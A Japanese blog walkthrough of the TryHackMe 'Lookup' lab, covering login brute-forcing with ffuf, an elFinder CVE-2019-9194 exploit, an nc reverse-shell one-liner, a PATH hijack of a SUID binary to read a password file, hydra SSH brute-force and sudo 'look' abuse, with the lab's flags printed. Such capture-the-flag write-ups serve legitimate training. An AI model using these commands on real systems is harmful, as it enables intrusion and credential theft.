0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Lookup:Walkthrough

Posted at

概要

TryHackMe「Lookup」ルームのWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.183.228 -oN nmap_result

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

ドメイン名が分かったので/etc/hostsに追加します。

10.10.183.228   lookup.thm

80番ポートにアクセスするとログインフォームが表示されました。

image.png

ログインに失敗すると3秒後に試せるようです。

image.png

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.lookup.thm" -u http://lookup.thm -fs 0

www                     [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 3901ms]

www.lookup.thm/etc/hostsに追記します。

10.10.183.228   lookup.thm www.lookup.thm

しかし、www.lookup.thmも同一ページへのアクセスでした。

image.png

Username: adminでエラーメッセージの変化が見られました。
adminアカウントの存在を確認できました。

image.png

adminのパスワードをファジングするとpassword123が見つかりました。

$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8

password123             [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 246ms]

しかしログインに失敗しました。

image.png

さらにユーザー名を列挙するとjoseアカウントを発見しました。

$ ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=pass' -H "Content-Type: application/x-www-form-urlencoded" -fw 10

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]

joseアカウントのパスワードを探すと、password123が見つかりました。

$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=jose&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8

password123             [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]

Username: jose,Password: password123でログインに成功すると、files.lookup.thmにリダイレクトされるので/etc/hostsに追記します。

10.10.191.231   lookup.thm www.lookup.thm files.lookup.thm

elFinderのページに遷移しました。

image.png

elFinder 2.1.47だと分かりました。

image.png

このバージョンの脆弱性を探すと、CVE-2019-9194が見つかりました。

適当なjpgファイルをSecSignal.jpgとして用意します。

$ head -5 SecSignal.jpg      
����JFIF,,��VExifMM▒>(,,��,Photoshop 3.08BIMZ��
                                               �http://ns.adobe.com/xap/1.0/<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.10'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

 <rdf:Description rdf:about=''

PoCを実行すると、www-dataのシェルを取得できました。

$ python2.7 exploit.py http://files.lookup.thm/elFinder/
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data

ncでリバーシェルを張り、TTYの設定をします。

$ rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.6.55.144%201234%20%3E%2Ftmp%2Ff
$ nc -lvnp 1234
$ python3 -c 'import pty; pty.spawn("bash")'

thinkアカウントを発見しました。

$ ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Jun  2  2023 .
drwxr-xr-x 19 root  root  4096 Jan 11  2024 ..
drwxr-xr-x  5 think think 4096 Jan 11  2024 think

SUIDを検索すると/usr/sbin/pwmを発見しました。

$ find / -perm -u=s -type f 2>/dev/null

(省略)

/usr/sbin/pwm

実行すると、idコマンドを実行し/home/<username>/.passwordsファイルを使用すると分かりました。

$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

/home/think/.passwordsファイルの存在は確認できました。

$ ls -la /home/think
ls -la /home/think
total 40
drwxr-xr-x 5 think think 4096 Jan 11  2024 .
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc
drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache
drwx------ 3 think think 4096 Aug  9  2023 .gnupg
-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile
drw-r----- 2 think think 4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt

/usr/sbin/pwmをローカルに持って来て、Ghidraでデコンパイルするとidコマンドを相対パスで使用しているのが分かりました。
また、idコマンドの結果からユーザー名を抽出し、/home/<username>/.passwordsを操作していることも分かりました。

image.png

idコマンドを置き換え、/home/think/.passwordsとなるような処理のファイルを作成し、パスを通します。

$ echo '#!/bin/bash' > id
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id
$ chmod +x id
$ export PATH=/tmp:$PATH

再び/usr/sbin/pwmを実行すると、/home/think/.passwordsの内容を確認できました。

$ /usr/sbin/pwm
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles

(省略)

得られたパスワードリストで総当たりするとthinkアカウントのSSHパスワードを特定できました。

$ hydra -f -l think -P think_pass lookup.thm ssh
[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)

thinkアカウントでSSH接続に成功しました。

$ ssh think@lookup.thm
think@lookup:~$

/home/think/user.txtからユーザーフラグを入手できました。

/home/think/user.txt
38375fb4dd8baa2b2039ac03d92b820e

A.38375fb4dd8baa2b2039ac03d92b820e

Q2.What is the root flag?

sudo -lで確認すると、/usr/bin/lookを発見しました。

$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look

GTFOBinsを確認すると、テクニックが見つかりました。

ルートフラグを入手できました。

$ LFILE=/root/root.txt
$ sudo /usr/bin/look '' "$LFILE"
5a285a9f257e45c68bb6c9f9f57d18e8

A.****

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?